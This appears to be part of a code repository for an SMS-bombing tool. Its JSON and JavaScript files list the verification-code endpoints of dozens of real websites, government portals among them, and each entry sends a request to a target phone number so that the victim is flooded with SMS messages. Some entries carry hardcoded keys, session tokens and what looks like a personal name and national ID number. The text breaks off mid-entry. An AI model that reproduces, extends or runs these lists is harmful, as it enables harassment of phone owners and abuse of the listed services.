"header": "",
"data": {
"protocolVersion": "301",
"sequenceNo": "1000001",
"platformVersion": "10",
"isCompressed": "0",
"appid": "22017",
"clientVersion": "3.15.1",
"peerID": "00000000000000000000000000000000",
"appName": "ANDROID-com.onethingcloud.android",
"sdkVersion": "204500",
"devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b",
"netWorkType": "WIFI",
"providerName": "NONE",
"deviceModel": "M2102J2SC",
"deviceName": "Xiaomi M2102j2sc",
"OSVersion": "11",
"creditkey": "",
"hl": "zh-CN",
"mobile": "[phone]",
"register": "0"
}
},
{
"desc": "乐教乐学",
"url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "云杏HIS系统(九明珠)",
"url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm",
"method": "POST",
"header": "",
"data": "{'lxdh': [phone]}"
},
{
"desc": "秘塔写作",
"url": "https://xiezuocat.com/verify?type=signup",
"method": "POST",
"header": "",
"data": {
"phone": "86-[phone]"
}
},
{
"desc": "CNMO 网站",
"url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "DR钻戒web",
"url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "有享云商web",
"url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "研才教育app",
"url": "https://mall.yancais.com/api/sms/send?phone=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "成卓科技",
"url": "https://callphone.hnczkj.cn/app_api/json/sendSms",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"product": "biyingdianhua_ios",
"key": "mwoe093fwef"
}
},
{
"desc": "加密电话",
"url": "https://m.4009991000.com/valNumQry.action",
"method": "POST",
"header": "",
"data": {
"appType": "1",
"app_id": "5555",
"mobileNo": "[phone]",
"sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5",
"src": "1",
"v": "4.9.2",
"validType": "3"
}
},
{
"desc": "快应用美抽",
"url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "小叶子app",
"url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "牙e在线",
"url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02&timestamp=[timestamp]",
"method": "POST",
"header": "",
"data": "mobile=[phone]&smsType=02&timestamp=[timestamp]"
},
{
"desc": "某数图表web(存疑)",
"url": "https://dycharts.com/vis/auth/send_signin_sms_code",
"method": "POST",
"header": "",
"data": {
"phoneNo": "13809213237"
}
},
{
"desc": "17k小说网app",
"url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "汇看点快应用",
"url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "核桃编程app",
"url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "永城至敏",
"url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "金中网",
"url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "透明售房网(可能只能一次第二次会弹验证码)",
"url": "http://www.tmsf.com/mem/WebMemLoginAction_saveMemMobileCodeImg.jspx?usermobile=[phone]&imagecode=",
"method": "GET",
"header": {
"Referer": "http://www.tmsf.com/esf/esfnSearch_communityListUpgrade.htm",
"X-Requested-With": "XMLHttpRequest"
},
"data": ""
},
{
"desc": "巨人网络",
"url": "https://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=https%3A%2F%2Flogin.ztgame.com%2F&cururl=http%3A%2F%2Freg.ztgame.com%2F&phone=[phone]&mpcode=&pwd=&tname=&idcard=",
"method": "GET",
"header": {
"Referer": "https://reg.ztgame.com/",
"X-Requested-With": "XMLHttpRequest"
},
"data": ""
},
{
"desc": "人人文库",
"url": "https://www.renrendoc.com/Reg.aspx/GetUserSMSCode",
"method": "POST",
"header": {
"Content-Type": "application/json; charset=UTF-8",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
},
"data": {
"userMobile": "[phone]"
}
},
{
"desc": "塞优教育",
"url": "http://www.cuour.org/edu_cloud/sms_send",
"method": "POST",
"header": {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "PHPSESSID=20pi9ugtg1tboucsjcc8ute6t9",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
"X-CSRF-Token": "7--b2sxDUBm-Jd2yf_5KYrf7Hw2w_M6BDhSJq-H2GjY",
"X-Requested-With": "XMLHttpRequest"
},
"data": {
"to": "[phone]",
"sms_type": "sms_registration"
}
}
]

0
debug/__init__.py Normal file
View File

BIN
debug/api.db Executable file

Binary file not shown.

868
debug/api.js Executable file
View File

@@ -0,0 +1,868 @@
/**
* 第三方网站短信接口
* 最后更新2022-04-12
* @type {*[]}
*/
var requestList = [
{
name: '工图网',
fn: function (phone) {
$.ajax({
url: "http://www.900ppt.com/api/login/getSmsCode",
data: {
phone: phone,
easy: 1
},
type: "GET",
dataType: "json",
});
}
},
{
name: '少儿编程',
fn: function (phone) {
$.ajax({
url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",
type: "POST",
data: {phone: phone,},
dataType: "json",
})
}
},
{
name: '泰康在线',
fn: function (phone) {
function encrypt(data) {
var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");
var srcs = CryptoJS.enc.Utf8.parse(data);
var encrypted = CryptoJS.AES.encrypt(srcs, key, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted + "";
}
phone = encodeURIComponent(encrypt(phone))
$.ajax({
'url': 'http://ecs.tk.cn/eservice/member/login',
'type': 'POST',
'data': 'syn=Y&functioncode=getmark&mobile=' + phone,
'dataType': 'json',
});
}
},
{
name: '千库编辑',
fn: function (phone) {
$.ajax({
url: 'https://editor.588ku.com/site-api/send-tel-login-code',
type: 'GET',
data: {
num: phone,
},
async: false
});
}
},
{
name: "编程猫",
fn: function (phone) {
$.ajax({
url: 'https://open-service.codemao.cn/captcha/rule',
contentType: "application/json;charset=UTF-8",
type: 'POST',
data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',
dataType: 'json',
success: function (data) {
$.ajax({
url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',
contentType: "application/json;charset=UTF-8",
type: 'POST',
data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',
dataType: 'json',
})
}
})
}
},
{
name: '迪卡侬',
fn: function (phone) {
$.ajax({
url: "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
type: "POST",
data: {"countryCode": "CN", "mobile": phone},
dataType: "json",
})
}
},
{
name: '股海网',
fn: function (phone) {
$.ajax({
url: "https://www.guhai.com.cn/front/member/sendSmsCode",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: 'LLL的个人blog',
fn: function (phone) {
$.ajax({
url: "http://www.lll.plus/sendCode/",
type: "POST",
data: {"tel": phone, "forgetPwd": ""},
dataType: "json",
})
}
},
{
name: '企米子',
fn: function (phone) {
$.ajax({
url: "https://www.xcxui.com/index/register/getcode.html",
type: "POST",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '蒲公英',
fn: function (phone) {
$.ajax({
url: "https://id.pgyer.com/user/getRegisterCode",
type: "POST",
data: {"tel": phone, "callingCode": "86", "mode": "tel"},
dataType: "json",
})
}
},
{
name: '百卓优采',
fn: function (phone) {
$.ajax({
url: "https://erp.abiz.com/mobilecode/sendMobileCode",
type: "POST",
data: {"mobile": phone, "captcha": ""},
dataType: "json",
})
}
},
{
name: '云背篓',
fn: function (phone) {
$.ajax({
url: "https://brand.yunbeilou.com/index.php/smssend",
type: "POST",
data: {"phone": phone, "v": "yes"},
dataType: "json",
})
}
},
{
name: 'PHP中文网',
fn: function (phone) {
$.ajax({
url: "https://m.php.cn/account/phone_code.html",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '12321',
fn: function (phone) {
$.ajax({
url: "http://dhba.12321.cn/api/verifycode",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: 'Testin众测',
fn: function (phone) {
$.ajax({
url: "https://www.ztestin.com/users/send/vercode",
type: "POST",
data: {"phone": phone, "type": "register", "voice": "0"},
dataType: "json",
})
}
},
{
name: '海尔',
fn: function (phone) {
$.ajax({
url: "http://maker.haier.net/client/user/sendregistervcode.html",
type: "POST",
data: {"account": phone},
dataType: "json",
})
}
},
{
name: '飞猫云',
fn: function (phone) {
$.ajax({
url: "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
type: "POST",
data: {"pcode": "+86", "phone": phone},
dataType: "json",
})
}
},
{
name: '觉数字化平台',
fn: function (phone) {
$.ajax({
url: "https://end.huajuetech.com/api/sendCode",
type: "POST",
data: {"mobile": phone, "email": "null", "verfy_method": "mobile"},
dataType: "json",
})
}
},
{
name: '问政江西',
fn: function (phone) {
$.ajax({
url: "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '河南智慧党建',
fn: function (phone) {
$.ajax({
url: "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
type: "POST",
data: {"phone": phone, "verifytype": "1"},
dataType: "json",
})
}
},
{
name: '陆陆陆云安全',
fn: function (phone) {
$.ajax({
url: "https://cloud.666idc.com/index/login/sendsms.html",
type: "POST",
data: {"mobile": phone, "mobile_pre": "86"},
dataType: "json",
})
}
},
{
name: '网易',
fn: function (phone) {
$.ajax({
url: "https://dz.blizzard.cn/action/user/mobile/captcha",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '码云社',
fn: function (phone) {
$.ajax({
url: "https://www.codeseeding.com/loginUser/toSend",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '人才山东',
fn: function (phone) {
$.ajax({
url: "http://sso.rcsd.cn/regist/getVerifyCode",
type: "POST",
data: {"personcall": phone},
dataType: "json",
})
}
},
{
name: '水利部',
fn: function (phone) {
$.ajax({
url: "http://sso.mwr.cn/suserRegister/verifyAccountAndPhone.action",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '七联大学',
fn: function (phone) {
$.ajax({
url: "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
type: "POST",
data: {"phoneNumber": phone, "sendType": "0"}
})
}
},
{
name: '闪德资讯',
fn: function (phone) {
$.ajax({
url: "https://www.0101ssd.com/user/sendmsg",
type: "POST",
data: {"mobile": phone, "event": "register"},
dataType: "json",
})
}
},
{
name: '江苏省名师空中课堂',
fn: function (phone) {
$.ajax({
url: "https://mskzkt.jse.edu.cn/baseApi/user/code/",
type: "POST",
data: {"mobile": phone, "type": "1",},
dataType: "json",
})
}
},
{
name: 'CSFF短片',
fn: function (phone) {
$.ajax({
url: "https://csff.cutv.com/wapi/users/sendregcode",
type: "POST",
data: {"telphone": phone},
dataType: "json",
})
}
},
{
name: '广西人社厅',
fn: function (phone) {
$.ajax({
url: "http://rswb.gx12333.net/member/getRegisterPhoneCode.jspx",
type: "POST",
data: {"aae005": phone, "aac003": "刘萌萌", "aac002": "210212198506035924", "notkeyflag": "1"},
dataType: "json",
})
}
},
{
name: '麦克赛尔数字映像',
fn: function (phone) {
$.ajax({
url: "https://www.maxell-dm.cn/Code/CheckImage.aspx",
type: "POST",
data: {"action": "send", "txtMember_Name": phone},
dataType: "json",
})
}
},
{
name: '宝提分',
fn: function (phone) {
$.ajax({
url: "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '选型系统',
fn: function (phone) {
$.ajax({
url: "http://www.cnppump.ltd/Service/UserHandler.ashx",
type: "GET",
data: {"cmd": "GetTelVerifyCode", "Tel": phone},
dataType: "json",
})
}
},
{
name: '千里马网信科技',
fn: function (phone) {
$.ajax({
url: "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
type: "POST",
data: {"tips": "1", "shouji": phone},
dataType: "json",
})
}
},
{
name: '保定云',
fn: function (phone) {
$.ajax({
url: "https://baodingyun.com.cn/register/send_registerSMS.html",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '欢动游戏',
fn: function (phone) {
$.ajax({
url: "http://www.gm5.com/auth/registerSms.html",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '迈威',
fn: function (phone) {
$.ajax({
url: "https://www.maiwe.com.cn/index/sendcode.html",
type: "GET",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '憨鼠社区',
fn: function (phone) {
$.ajax({
url: "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getPhoneVerify&type=signup&phone="+phone+"&areaCode=86",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '天鹅到家',
fn: function (phone) {
$.ajax({
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '诺达筑工',
fn: function (phone) {
$.ajax({
url: "http://ks.ndzhugong.com/getVerificationCode?phone="+phone+"&password=&smscode=",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '栋才智慧',
fn: function (phone) {
$.ajax({
url: "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?phone="+phone+"&smsMode=2",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '工伤预防网上培训平台',
fn: function (phone) {
$.ajax({
url: "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '济宁专技',
fn: function (phone) {
$.ajax({
url: "https://sdjn-web.yxlearning.com/sendPhoneCode.gson",
type: "POST",
data: {"phone": phone, "sendType": "4"},
dataType: "json",
})
}
},
{
name: '宁夏伊地地质工程有限公司',
fn: function (phone) {
$.ajax({
url: "http://www.yddzgc.com/bid-app/api/sys/code?phone="+phone+"&type=1",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '青春大学说',
fn: function (phone) {
$.ajax({
url: "http://zycp.qcdxs.com:5001/sms/sendsms",
type: "POST",
data: {"phone_number": phone},
dataType: "json",
})
}
},
{
name: '兴业利达电子招投标平台',
fn: function (phone) {
$.ajax({
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
type: "POST",
data: {"username": phone, "type": "regUser", "mobile": "PC"},
dataType: "json",
})
}
},
{
name: '火象',
fn: function (phone) {
$.ajax({
url: "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
type: "POST",
data: {"temp": "1", "phone": phone},
dataType: "json",
})
}
},
{
name: '中科教育',
fn: function (phone) {
$.ajax({
url: "https://www.vipexam.cn/user/identifyingCode.action",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '聚题库',
fn: function (phone) {
$.ajax({
url: "https://uc.csdhe.com/v1/sms/send?mobile="+phone+"&apptype=examWeb",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '大广节',
fn: function (phone) {
$.ajax({
url: "http://47.103.35.255:510/api/Account/SendRestigerSms",
type: "POST",
data: {tel: phone},
dataType: "json",
})
}
},
{
name: '选择山东云平台',
fn: function (phone) {
$.ajax({
url: "http://israel.selectshandong.com/user/verification_code/send.html",
type: "POST",
data: {mobile: phone},
dataType: "json",
})
}
},
{
name: '苏州高新区教育局',
fn: function (phone) {
$.ajax({
url: "https://jssnd.edu.cn/apiu/v1/register/auth",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '专业技术人员继续教育平台',
fn: function (phone) {
$.ajax({
url: "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '泰安专技',
fn: function (phone) {
$.ajax({
url: "https://sdta-web.yxlearning.com/sendPhoneCode.gson",
type: "POST",
data: {"phone": phone, "sendType": "4"},
dataType: "json",
})
}
},
{
name: '志睿择',
fn: function (phone) {
$.ajax({
url: "https://www.vipexam.cn/user/identifyingCode.action",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
},
{
name: '漏洞银行',
fn: function (phone) {
$.ajax({
url: "https://www.bugbank.cn/api/verifymobile",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '中国劳动保障新闻网',
fn: function (phone) {
$.ajax({
url: "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '金万维',
fn: function (phone) {
$.ajax({
url: "https://www.kuaijiexi.com/sendPhoneMessage",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '广西大数据发展局',
fn: function (phone) {
$.ajax({
url: "http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode",
type: "POST",
data: {"method":"sendMobileCode","userMobile":phone,"random":"1.2851343744474852"},
dataType: "json",
})
}
},
{
name: '凤凰金刚网',
fn: function (phone) {
$.ajax({
url: "https://api.shweina.com/sms/getCode?type=1&mobile="+phone+"&sms_id=1&_=1649572691296",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: 'SDTF',
fn: function (phone) {
$.ajax({
url: "http://www.satdatafresh.com/Register_send.php",
type: "POST",
data: {phone: phone},
dataType: "json",
})
}
},
{
name: 'UCG',
fn: function (phone) {
$.ajax({
url: "http://api.ucg.cn/api/account/get_code",
type: "POST",
data: {phone: phone,type:1},
dataType: "json",
})
}
},
{
name: '爱社区',
fn: function (phone) {
$.ajax({
url: "http://testapi.wisq.cn/user/code?callback=jQuery1121043210507726688685_1649576168584&type=register&tel="+phone+"&_=1649576168585",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '费耘网',
fn: function (phone) {
$.ajax({
url: "https://www.feeclouds.com/homepage/register/send",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: 'TCTY评测委员会',
fn: function (phone) {
$.ajax({
url: "https://bth.educg.net/new_registration.do",
type: "POST",
data: {"op": "getvfycode",phone: phone},
dataType: "json",
})
}
},
{
name: '中电仪器',
fn: function (phone) {
$.ajax({
url: "https://ceyear.com/Cn/Member/get_code",
type: "POST",
data: {phone: phone},
dataType: "json",
})
}
},
{
name: '航运e家',
fn: function (phone) {
$.ajax({
url: "http://co.hangyunejia.com/v1/account/sendregphonecode",
type: "POST",
data: {phone: phone},
dataType: "json",
})
}
},
{
name: '赛客呼吸',
fn: function (phone) {
$.ajax({
url: "https://m.xeek.cn/api/common/CheckCode/index.html",
type: "POST",
data: {"action":"register","account":phone,"accountType":"3"},
dataType: "json",
})
}
},
{
name: '佛山政务短信平台',
fn: function (phone) {
$.ajax({
url: "https://fsjf.fslgb.gov.cn/servlet/user",
type: "POST",
data: {"type":"getCode","certificate":"","phone":phone,"opr":"注册"},
dataType: "json",
})
}
},
{
name: '南京筑能网络科技有限公司',
fn: function (phone) {
$.ajax({
url: "http://admina.pachongdaili.com:8080/SendSms/SendTemplateSMS.php",
type: "POST",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '四川宝石花',
fn: function (phone) {
$.ajax({
url: "http://119.4.40.32:10010/ctl/member/register/registerRandom?mobile="+phone+"&_=1649516272801",
type: "GET",
data: {},
dataType: "json",
})
}
},
{
name: '赛日速配',
fn: function (phone) {
$.ajax({
url: "https://sporax.com.cn/Login/sms",
type: "POST",
data: {"Mobile": phone},
dataType: "json",
})
}
},
{
name: '乐思无限',
fn: function (phone) {
$.ajax({
url: "http://sid.mk315.cn/index/register/getcode.html",
type: "POST",
data: {"tel": phone},
dataType: "json",
})
}
},
{
name: '宁波材料所',
fn: function (phone) {
$.ajax({
url: "https://recruit.nimte.ac.cn/api/recruit/action.php?action=getcode&mobile="+phone+"&verifycode=[object%20HTMLInputElement]",
type: "POST",
data: {},
dataType: "json",
})
}
},
{
name: '佬司机大宗商品交易',
fn: function (phone) {
$.ajax({
url: "http://www.laosjgyl.com/register/sendCaptcha",
type: "POST",
data: {"mobile": phone},
dataType: "json",
})
}
},
{
name: '广东省心理学会',
fn: function (phone) {
$.ajax({
url: "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
type: "POST",
data: {"phone": phone},
dataType: "json",
})
}
}
]

481
debug/api_tou.json Executable file
View File

@@ -0,0 +1,481 @@
[
{
"desc": "迪卡侬",
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
"method": "POST",
"header": "",
"data": {
"countryCode": "CN",
"mobile": "[phone]"
}
},
{
"desc": "股海网",
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "LLL的个人blog",
"url": "http://www.lll.plus/sendCode/",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"forgetPwd": ""
}
},
{
"desc": "企米子",
"url": "https://www.xcxui.com/index/register/getcode.html",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "蒲公英",
"url": "https://id.pgyer.com/user/getRegisterCode",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"callingCode": "86",
"mode": "tel"
}
},
{
"desc": "百卓优采",
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"captcha": ""
}
},
{
"desc": "云背篓",
"url": "https://brand.yunbeilou.com/index.php/smssend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"v": "yes"
}
},
{
"desc": "PHP中文网",
"url": "https://m.php.cn/account/phone_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "12321",
"url": "http://dhba.12321.cn/api/verifycode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "Testin众测",
"url": "https://www.ztestin.com/users/send/vercode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"type": "register",
"voice": "0"
}
},
{
"desc": "海尔",
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
"method": "POST",
"header": "",
"data": {
"account": "[phone]"
}
},
{
"desc": "飞猫云",
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
"method": "POST",
"header": "",
"data": {
"pcode": "+86",
"phone": "[phone]"
}
},
{
"desc": "华觉数字化平台",
"url": "https://end.huajuetech.com/api/sendCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"email": "null",
"verfy_method": "mobile"
}
},
{
"desc": "问政江西",
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "河南智慧党建",
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"verifytype": "1"
}
},
{
"desc": "陆陆陆云安全",
"url": "https://cloud.666idc.com/index/login/sendsms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"mobile_pre": "86"
}
},
{
"desc": "网易",
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "码云社",
"url": "https://www.codeseeding.com/loginUser/toSend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "人才山东",
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
"method": "POST",
"header": "",
"data": {
"personcall": "[phone]"
}
},
{
"desc": "水利部",
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "七联大学",
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
"method": "POST",
"header": "",
"data": {
"phoneNumber": "[phone]",
"sendType": "0"
}
},
{
"desc": "闪德资讯",
"url": "https://www.0101ssd.com/user/sendmsg",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"event": "register"
}
},
{
"desc": "江苏省名师空中课堂",
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"type": "1"
}
},
{
"desc": "CSFF短片",
"url": "https://csff.cutv.com/wapi/users/sendregcode",
"method": "POST",
"header": "",
"data": {
"telphone": "[phone]"
}
},
{
"desc": "广西人社厅",
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
"method": "POST",
"header": "",
"data": {
"aae005": "[phone]",
"aac003": "刘萌萌",
"aac002": "210212198506035924",
"notkeyflag": "1"
}
},
{
"desc": "麦克赛尔数字映像",
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
"method": "POST",
"header": "",
"data": {
"action": "send",
"txtMember_Name": "[phone]"
}
},
{
"desc": "宝提分",
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "选型系统",
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
"method": "GET",
"header": "",
"data": {
"cmd": "GetTelVerifyCode",
"Tel": "[phone]"
}
},
{
"desc": "千里马网信科技",
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
"method": "POST",
"header": "",
"data": {
"tips": "1",
"shouji": "[phone]"
}
},
{
"desc": "保定云",
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "欢动游戏",
"url": "http://www.gm5.com/auth/registerSms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "迈威",
"url": "https://www.maiwe.com.cn/index/sendcode.html",
"method": "GET",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "憨鼠社区",
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "天鹅到家",
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "诺达筑工",
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "栋才智慧",
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "工伤预防网上培训平台",
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "济宁专技",
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "宁夏伊地地质工程有限公司",
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "青春大学说",
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
"method": "POST",
"header": "",
"data": {
"phone_number": "[phone]"
}
},
{
"desc": "兴业利达电子招投标平台",
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
"method": "POST",
"header": "",
"data": {
"username": "[phone]",
